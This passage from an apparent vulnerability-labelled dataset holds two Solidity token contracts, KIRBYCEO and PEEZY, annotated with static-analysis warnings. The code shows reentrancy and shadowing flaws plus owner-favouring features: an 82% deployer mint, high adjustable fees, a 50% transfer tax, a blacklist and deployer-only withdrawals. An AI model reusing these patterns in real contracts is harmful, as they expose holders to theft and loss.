internal pure returns (uint256) {\n unchecked {\n require(b <= a, errorMessage);\n\n return a - b;\n }\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a / b;\n }\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a % b;\n }\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n uint256 currentAllowance = allowance(owner, spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n\t\t\t// reentrancy-no-eth | ID: 11406bb\n _balances[from] = fromBalance - amount;\n\n\t\t\t// reentrancy-no-eth | ID: 11406bb\n _balances[to] += amount;\n }\n\n\t\t// reentrancy-events | ID: 804a34f\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\ncontract KIRBYCEO is ERC20, Ownable {\n using SafeMath for uint256;\n\n IUniswapV2Router02 public immutable _uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ff51cd1): KIRBYCEO.uniswapV2Pair should be immutable \n\t// Recommendation for ff51cd1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 24b509c): KIRBYCEO.deployerWallet should be immutable \n\t// Recommendation for 24b509c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private deployerWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 579383f): KIRBYCEO.marketingWallet should be immutable \n\t// Recommendation for 579383f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private marketingWallet;\n\n address private constant deadAddress = address(0xdead);\n\n bool private swapping;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 86d666d): KIRBYCEO._name shadows ERC20._name\n\t// Recommendation for 86d666d: Remove the state variable shadowing.\n string private constant _name = \"KIRBY\";\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 446ecfa): KIRBYCEO._symbol shadows ERC20._symbol\n\t// Recommendation for 446ecfa: Remove the state variable shadowing.\n string private constant _symbol = \"Kirby\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 4b03ceb): KIRBYCEO.initialTotalSupply should be constant \n\t// Recommendation for 4b03ceb: Add the 'constant' attribute to state variables that never change.\n uint256 public initialTotalSupply = 10000000000 * 1e18;\n\n uint256 public maxTransactionAmount = 200000000 * 1e18;\n\n uint256 public maxWallet = 200000000 * 1e18;\n\n uint256 public swapTokensAtAmount = 100000000 * 1e18;\n\n bool public enableTrade = false;\n\n uint256 public BuyFee = 20;\n\n uint256 public SellFee = 25;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n mapping(address => bool) private _isExcludedMaxTransactionAmount;\n\n mapping(address => bool) private automatedMarketMakerPairs;\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 0165dce): KIRBYCEO.constructor(address).wallet lacks a zerocheck on \t marketingWallet = address(wallet)\n\t// Recommendation for 0165dce: Check that the address is not zero.\n constructor(address wallet) ERC20(_name, _symbol) {\n _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);\n\n excludeFromMaxTransaction(address(uniswapV2Pair), true);\n\n excludeFromMaxTransaction(address(_uniswapV2Router), true);\n\n\t\t// missing-zero-check | ID: 0165dce\n marketingWallet = payable(wallet);\n\n deployerWallet = payable(_msgSender());\n\n excludeFromFees(owner(), true);\n\n excludeFromFees(address(this), true);\n\n excludeFromFees(address(wallet), true);\n\n excludeFromFees(address(0xdead), true);\n\n excludeFromMaxTransaction(owner(), true);\n\n excludeFromMaxTransaction(address(this), true);\n\n excludeFromMaxTransaction(address(wallet), true);\n\n excludeFromMaxTransaction(address(0xdead), true);\n\n uint devTx = initialTotalSupply.mul(82).div(100);\n\n uint remain = initialTotalSupply.sub(devTx);\n\n _mint(deployerWallet, devTx);\n\n _mint(address(this), remain);\n }\n\n receive() external payable {}\n\n function openTrade() external onlyOwner {\n enableTrade = true;\n }\n\n function excludeFromMaxTransaction(address updAds, bool isEx) private {\n _isExcludedMaxTransactionAmount[updAds] = isEx;\n }\n\n function excludeFromFees(address account, bool excluded) private {\n _isExcludedFromFees[account] = excluded;\n\n emit ExcludeFromFees(account, excluded);\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) public onlyOwner {\n require(\n pair != uniswapV2Pair,\n \"The pair cannot be removed from automatedMarketMakerPairs\"\n );\n\n _setAutomatedMarketMakerPair(pair, value);\n }\n\n function _setAutomatedMarketMakerPair(address pair, bool value) private {\n automatedMarketMakerPairs[pair] = value;\n\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n function isExcludedFromFees(address account) public view returns (bool) {\n return _isExcludedFromFees[account];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 804a34f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 804a34f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 11406bb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 11406bb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n\n return;\n }\n\n bool isTransfer = !automatedMarketMakerPairs[from] &&\n !automatedMarketMakerPairs[to];\n\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !swapping\n ) {\n if (!enableTrade) {\n require(\n _isExcludedFromFees[from] || _isExcludedFromFees[to],\n \"Trading is not active.\"\n );\n }\n\n if (\n automatedMarketMakerPairs[from] &&\n !_isExcludedMaxTransactionAmount[to]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Buy transfer amount exceeds the maxTransactionAmount.\"\n );\n\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n } else if (\n automatedMarketMakerPairs[to] &&\n !_isExcludedMaxTransactionAmount[from]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Sell transfer amount exceeds the maxTransactionAmount.\"\n );\n } else if (!_isExcludedMaxTransactionAmount[to]) {\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance > 0 && !isTransfer;\n\n if (\n canSwap &&\n !swapping &&\n !automatedMarketMakerPairs[from] &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: 804a34f\n\t\t\t// reentrancy-no-eth | ID: 11406bb\n swapBack(amount);\n\n\t\t\t// reentrancy-no-eth | ID: 11406bb\n swapping = false;\n }\n\n bool takeFee = !swapping && !isTransfer;\n\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n takeFee = false;\n }\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (automatedMarketMakerPairs[to]) {\n fees = amount.mul(SellFee).div(100);\n } else {\n fees = amount.mul(BuyFee).div(100);\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: 804a34f\n\t\t\t\t// reentrancy-no-eth | ID: 11406bb\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees;\n }\n\n\t\t// reentrancy-events | ID: 804a34f\n\t\t// reentrancy-no-eth | ID: 11406bb\n super._transfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _uniswapV2Router.WETH();\n\n _approve(address(this), address(_uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 804a34f\n\t\t// reentrancy-no-eth | ID: 11406bb\n _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n marketingWallet,\n block.timestamp\n );\n }\n\n function removeSkullLimits() external onlyOwner {\n uint256 totalSupplyAmount = totalSupply();\n\n maxTransactionAmount = totalSupplyAmount;\n\n maxWallet = totalSupplyAmount;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: b9cef93): KIRBYCEO.clearStuckEth() sends eth to arbitrary user Dangerous calls address(msg.sender).transfer(address(this).balance)\n\t// Recommendation for b9cef93: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function clearStuckEth() external {\n require(_msgSender() == deployerWallet);\n\n require(address(this).balance > 0, \"Token: no ETH to clear\");\n\n\t\t// arbitrary-send-eth | ID: b9cef93\n payable(msg.sender).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 725acbb): KIRBYCEO.clearStuckTokens(address) ignores return value by tokenContract.transfer(deployerWallet,balance)\n\t// Recommendation for 725acbb: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function clearStuckTokens(address tokenAddress) external {\n require(_msgSender() == deployerWallet);\n\n IERC20 tokenContract = IERC20(tokenAddress);\n\n uint256 balance = tokenContract.balanceOf(address(this));\n\n require(balance > 0, \"No tokens to clear\");\n\n\t\t// unchecked-transfer | ID: 725acbb\n tokenContract.transfer(deployerWallet, balance);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 89f8535): KIRBYCEO.setFee(uint256,uint256) should emit an event for BuyFee = _buyFee SellFee = _sellFee \n\t// Recommendation for 89f8535: Emit an event for critical parameter changes.\n function setFee(uint256 _buyFee, uint256 _sellFee) external onlyOwner {\n require(_buyFee <= 40 && _sellFee <= 50, \"Fees cannot exceed 99%\");\n\n\t\t// events-maths | ID: 89f8535\n BuyFee = _buyFee;\n\n\t\t// events-maths | ID: 89f8535\n SellFee = _sellFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 9afd0be): KIRBYCEO.setSwapTokensAtAmount(uint256) should emit an event for swapTokensAtAmount = _amount * (10 ** 18) \n\t// Recommendation for 9afd0be: Emit an event for critical parameter changes.\n function setSwapTokensAtAmount(uint256 _amount) external onlyOwner {\n\t\t// events-maths | ID: 9afd0be\n swapTokensAtAmount = _amount * (10 ** 18);\n }\n\n function manualSwap(uint256 percent) external {\n require(_msgSender() == deployerWallet);\n\n uint256 totalSupplyAmount = totalSupply();\n\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 tokensToSwap;\n\n if (percent == 100) {\n tokensToSwap = contractBalance;\n } else {\n tokensToSwap = (totalSupplyAmount * percent) / 100;\n\n if (tokensToSwap > contractBalance) {\n tokensToSwap = contractBalance;\n }\n }\n\n require(\n tokensToSwap <= contractBalance,\n \"Swap amount exceeds contract balance\"\n );\n\n swapTokensForEth(tokensToSwap);\n }\n\n function swapBack(uint256 tokens) private {\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 tokensToSwap;\n\n if (contractBalance == 0) {\n return;\n }\n\n if ((BuyFee + SellFee) == 0) {\n if (contractBalance > 0 && contractBalance < swapTokensAtAmount) {\n tokensToSwap = contractBalance;\n } else {\n uint256 sellFeeTokens = tokens.mul(SellFee).div(100);\n\n tokens -= sellFeeTokens;\n\n if (tokens > swapTokensAtAmount) {\n tokensToSwap = swapTokensAtAmount;\n } else {\n tokensToSwap = tokens;\n }\n }\n } else {\n if (\n contractBalance > 0 &&\n contractBalance < swapTokensAtAmount.div(5)\n ) {\n return;\n } else if (\n contractBalance > 0 &&\n contractBalance > swapTokensAtAmount.div(5) &&\n contractBalance < swapTokensAtAmount\n ) {\n tokensToSwap = swapTokensAtAmount.div(5);\n } else {\n uint256 sellFeeTokens = tokens.mul(SellFee).div(100);\n\n tokens -= sellFeeTokens;\n\n if (tokens > swapTokensAtAmount) {\n tokensToSwap = swapTokensAtAmount;\n } else {\n tokensToSwap = tokens;\n }\n }\n }\n\n swapTokensForEth(tokensToSwap);\n }\n}\n",
"file_name": "solidity_code_10836.sol",
"size_bytes": 28723,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract PEEZY is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: efe7a9c): PEEZY._taxWallet should be immutable \n\t// Recommendation for efe7a9c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n string private constant _name = unicode\"Peezy\";\n\n string private constant _symbol = unicode\"PEEZY\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 7c9770f): PEEZY._initialBuyTax should be constant \n\t// Recommendation for 7c9770f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: bb55f56): PEEZY._initialSellTax should be constant \n\t// Recommendation for bb55f56: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6bd89d5): PEEZY._reduceBuyTaxAt should be constant \n\t// Recommendation for 6bd89d5: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: db43704): PEEZY._reduceSellTaxAt should be constant \n\t// Recommendation for db43704: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 886ede4): PEEZY._preventSwapBefore should be constant \n\t// Recommendation for 886ede4: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 26;\n\n uint256 private _transferTax = 50;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: f0e8cd6): PEEZY._taxSwapThreshold should be constant \n\t// Recommendation for f0e8cd6: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5620edf): PEEZY._maxTaxSwap should be constant \n\t// Recommendation for 5620edf: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b865db8): PEEZY.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b865db8: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b9a5a2d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b9a5a2d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3e7476a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3e7476a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: b9a5a2d\n\t\t// reentrancy-benign | ID: 3e7476a\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: b9a5a2d\n\t\t// reentrancy-benign | ID: 3e7476a\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c56bdca): PEEZY._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for c56bdca: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 3e7476a\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: b9a5a2d\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5fd29ce): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5fd29ce: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 75403e3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 75403e3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 5fd29ce\n\t\t\t\t// reentrancy-eth | ID: 75403e3\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 5fd29ce\n\t\t\t\t\t// reentrancy-eth | ID: 75403e3\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 75403e3\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 75403e3\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 75403e3\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 5fd29ce\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 75403e3\n _balances[from] = 